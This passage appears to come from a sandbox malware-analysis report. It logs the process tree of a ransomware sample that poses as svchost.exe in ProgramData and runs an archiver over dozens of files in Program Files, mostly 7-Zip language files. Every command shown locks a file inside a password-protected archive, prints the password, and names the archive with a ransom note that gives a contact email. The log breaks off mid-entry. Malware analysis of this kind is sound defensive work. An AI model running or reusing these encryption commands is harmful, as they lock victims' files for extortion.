          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\id.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\id.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:5912
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\io.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\io.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:5732
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\is.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\is.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:5652
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\it.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\it.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:212
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ja.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ja.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4676
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ka.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ka.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:1320
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\kaa.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\kaa.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:2572
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\kab.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\kab.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4860
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\kk.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\kk.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4868
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ko.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ko.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:5000
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ku-ckb.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ku-ckb.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4848
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ku.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ku.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4896
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ky.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ky.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:5664
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\lij.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\lij.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:3960
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\lt.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\lt.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4276
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\lv.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\lv.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4856
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\mk.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\mk.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4960
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\mn.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\mn.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:780
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\mng.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\mng.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:4652
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\mng2.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\mng2.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
          • Executes dropped EXE
          PID:2016
        • C:\ProgramData\msvkp\svchost.exe
          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\mr.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\mr.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
          2⤵
            PID:3816
          • C:\ProgramData\msvkp\svchost.exe
            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ms.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ms.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
            2⤵
              PID:4184
            • C:\ProgramData\msvkp\svchost.exe
              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\nb.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\nb.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
              2⤵
                PID:5128
              • C:\ProgramData\msvkp\svchost.exe
                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ne.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ne.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                2⤵
                  PID:5788
                • C:\ProgramData\msvkp\svchost.exe
                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\nl.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\nl.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                  2⤵
                    PID:2460
                  • C:\ProgramData\msvkp\svchost.exe
                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\nn.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\nn.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                    2⤵
                      PID:5472
                    • C:\ProgramData\msvkp\svchost.exe
                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\pa-in.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\pa-in.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                      2⤵
                        PID:3704
                      • C:\ProgramData\msvkp\svchost.exe
                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\pl.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\pl.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                        2⤵
                          PID:6076
                        • C:\ProgramData\msvkp\svchost.exe
                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ps.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ps.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                          2⤵
                            PID:5456
                          • C:\ProgramData\msvkp\svchost.exe
                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\pt-br.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\pt-br.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                            2⤵
                              PID:4808
                            • C:\ProgramData\msvkp\svchost.exe
                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\pt.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\pt.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                              2⤵
                                PID:5208
                              • C:\ProgramData\msvkp\svchost.exe
                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ro.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ro.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                2⤵
                                  PID:684
                                • C:\ProgramData\msvkp\svchost.exe
                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ru.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ru.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                  2⤵
                                    PID:2316
                                  • C:\ProgramData\msvkp\svchost.exe
                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\sa.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\sa.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                    2⤵
                                      PID:5836
                                    • C:\ProgramData\msvkp\svchost.exe
                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\si.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\si.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                      2⤵
                                        PID:5040
                                      • C:\ProgramData\msvkp\svchost.exe
                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\sk.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\sk.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                        2⤵
                                          PID:3648
                                        • C:\ProgramData\msvkp\svchost.exe
                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\sl.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\sl.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                          2⤵
                                            PID:3856
                                          • C:\ProgramData\msvkp\svchost.exe
                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\sq.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\sq.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                            2⤵
                                              PID:1348
                                            • C:\ProgramData\msvkp\svchost.exe
                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\sr-spc.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\sr-spc.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                              2⤵
                                                PID:4816
                                              • C:\ProgramData\msvkp\svchost.exe
                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\sr-spl.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\sr-spl.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                2⤵
                                                  PID:2348
                                                • C:\ProgramData\msvkp\svchost.exe
                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\sv.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\sv.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                  2⤵
                                                    PID:4020
                                                  • C:\ProgramData\msvkp\svchost.exe
                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\sw.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\sw.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                    2⤵
                                                      PID:1476
                                                    • C:\ProgramData\msvkp\svchost.exe
                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ta.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ta.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                      2⤵
                                                        PID:5268
                                                      • C:\ProgramData\msvkp\svchost.exe
                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\tg.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\tg.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                        2⤵
                                                          PID:2532
                                                        • C:\ProgramData\msvkp\svchost.exe
                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\th.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\th.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                          2⤵
                                                            PID:5708
                                                          • C:\ProgramData\msvkp\svchost.exe
                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\tk.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\tk.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                            2⤵
                                                              PID:5424
                                                            • C:\ProgramData\msvkp\svchost.exe
                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\tr.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\tr.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                              2⤵
                                                                PID:2636
                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\tt.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\tt.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                2⤵
                                                                  PID:2940
                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\ug.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\ug.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                  2⤵
                                                                    PID:5716
                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\uk.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\uk.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                    2⤵
                                                                      PID:5612
                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\uz-cyrl.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\uz-cyrl.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                      2⤵
                                                                        PID:4864
                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\uz.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\uz.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                        2⤵
                                                                          PID:5580
                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\va.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\va.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                          2⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:3644
                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\vi.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\vi.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                          2⤵
                                                                            PID:4992
                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\yo.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\yo.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                            2⤵
                                                                              PID:3440
                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\zh-cn.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\zh-cn.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                              2⤵
                                                                                PID:5744
                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\Lang\zh-tw.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\Lang\zh-tw.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                2⤵
                                                                                  PID:3084
                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\License.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\License.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                  2⤵
                                                                                    PID:3960
                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\7-Zip\readme.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\7-Zip\readme.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                    2⤵
                                                                                      PID:4276
                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Crashpad\settings.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Crashpad\settings.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                      2⤵
                                                                                        PID:5656
                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\DenyCheckpoint.xlsx(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\DenyCheckpoint.xlsx" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                        2⤵
                                                                                          PID:388
                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\dotnet\LICENSE.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\dotnet\LICENSE.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                          2⤵
                                                                                            PID:3172
                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\dotnet\ThirdPartyNotices.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\dotnet\ThirdPartyNotices.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                            2⤵
                                                                                              PID:1172
                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\javafx-src.zip(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\javafx-src.zip" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                              2⤵
                                                                                                PID:1720
                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\jmc.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\jmc.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                2⤵
                                                                                                  PID:2072
                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\jre\bin\server\Xusage.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\jre\bin\server\Xusage.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                  2⤵
                                                                                                  • Drops file in Program Files directory
                                                                                                  PID:5920
                                                                                                • C:\ProgramData\msvkp\svchost.exe
